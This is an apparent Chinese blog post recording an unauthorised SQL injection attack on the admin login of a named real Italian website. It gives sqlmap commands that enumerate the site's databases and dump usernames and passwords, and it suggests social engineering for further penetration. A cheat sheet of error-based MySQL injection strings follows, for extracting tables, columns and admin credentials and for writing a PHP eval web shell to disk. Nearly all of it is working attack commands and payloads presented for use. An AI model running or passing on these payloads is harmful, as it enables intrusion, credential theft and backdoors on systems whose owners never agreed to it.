好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

意大利网站后台POST注入记录 - 网站安全 - 自学

  信息探测:

目标站点:http://www.sixxf.it 服务器IP:192.232.2xx.97(美国) 环境平台:PHP 服务器系统:Apache 这次用网页探测这个站的信息不是很完整,直接奔主题吧,打开网站后台,在登录帐号的文本中输入一个 ‘,返回结果如下: 执行了 ‘ 后 SQL 语句就报差了,说明可能是存在注入的,直接使用 Back Track 系统下的 Sqlmap 工具进行测试一下吧 。 提示:在首页寻找注入点的时候,虽然是报错了,但是显示有 Mod_Security ,你们应该懂的,目测 Linux 系统了~_~ 打开 Burp Suite 工具抓取下提交页面 POST 数据,也可以用 Firefox 浏览器 的 Live HTTP Replay 插件,抓到POST数据如下图: 接下来就是使用 Back Track 系统下的 Sqlmap工具 进行注入测试了,先把 Burp Suite 获取的数据保存为txt,放在 Sqlmap 根目录,然后执行以下命令:

root@devil:/pentest/database/sqlmap# ./sqlmap.py -r x.txt -p username--dbsroot@devil:/pentest/database/sqlmap# ./sqlmap.py -r x.txt --dbs

-p #指定可测试的参数(?page=1&id=2 -p [page,id]),使用-p参数时,第1次只出1个 数据库 ,第2次才全出来,自行测试! 数据库已经出来了,我们继续跑 sinpf_sinpf 数据库的表名:

root@devil:/pentest/database/sqlmap# ./sqlmap.py -r x.txt -D sinpf_sinpf --tables

数据库,表都已经出来了,我们继续跑 sinpf_sinpf 数据库 user 表 的列名 (字段名):

root@devil:/pentest/database/sqlmap# ./sqlmap.py -r x.txt -D sinpf_sinpf -T user --columns

数据库,表名,列名都已经出来了,我们最后跑 sinpf_sinpf 数据库 user 表 username,userpassword 列(字段)内容:

root@devil:/pentest/database/sqlmap# ./sqlmap.py -r x.txt -D sinpf_sinpf -T user -C username,userpassword --dump

好了,到这里已经全部结束了,主要是记录下如何使用 Sqlmap 进行网站后台 POST 注入,所有就没有进行下一步的测试了!

思路拓展:看了这个域名,数据库名,是不是感觉有点相似,没错,都是使用一样的,完全可以用社工进入后台,而且可以 域名,帐号,密码或一些敏感的信息进行组合社工,如果进行下一步的渗透,相信这些信息还有用的到的地方! ^_^

PHP 后台登陆框手工注入语句

'and(select 1 from(select count(*),concat((select concat(相关函数1,0x20,相关函数2,0x20,......) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and' 1.爆表名 'and(select 1 from(select count(*),concat((select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and' 'and(select 1 from(select count(*),concat((select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and' 'and(select 1 from(select count(*),concat((select concat(table_name) from information_schema.tables where table_schema=database() limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and' 2.爆列名 'and(select 1 from(select count(*),concat((select concat(column_name) from information_schema.columns where table_name=表名的Hex limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and' 'and(select 1 from(select count(*),concat((select concat(column_name) from information_schema.columns where table_name=表名的Hex limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and' 'and(select 1 from(select count(*),concat((select concat(column_name) from information_schema.columns where table_name=表名的Hex limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and' 3.爆用户和密码 'and(select 1 from(select count(*),concat((select concat(username,0x20,password) from admin limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and' 'and(select 1 from(select count(*),concat((select concat(username,0x20,password) from admin limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and' 'and(select 1 from(select count(*),concat((select concat(username,0x20,password) from admin limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and' 4.导出Webshell 'or 1 AND (SELECT id FROM the_users limit 1 INTO OUTFILE 'D:/sub/jw/safe1.php' lines terminated by '<!--?php eval($_POST[safe])?-->') #

 

查看更多关于意大利网站后台POST注入记录 - 网站安全 - 自学的详细内容...

  阅读:86次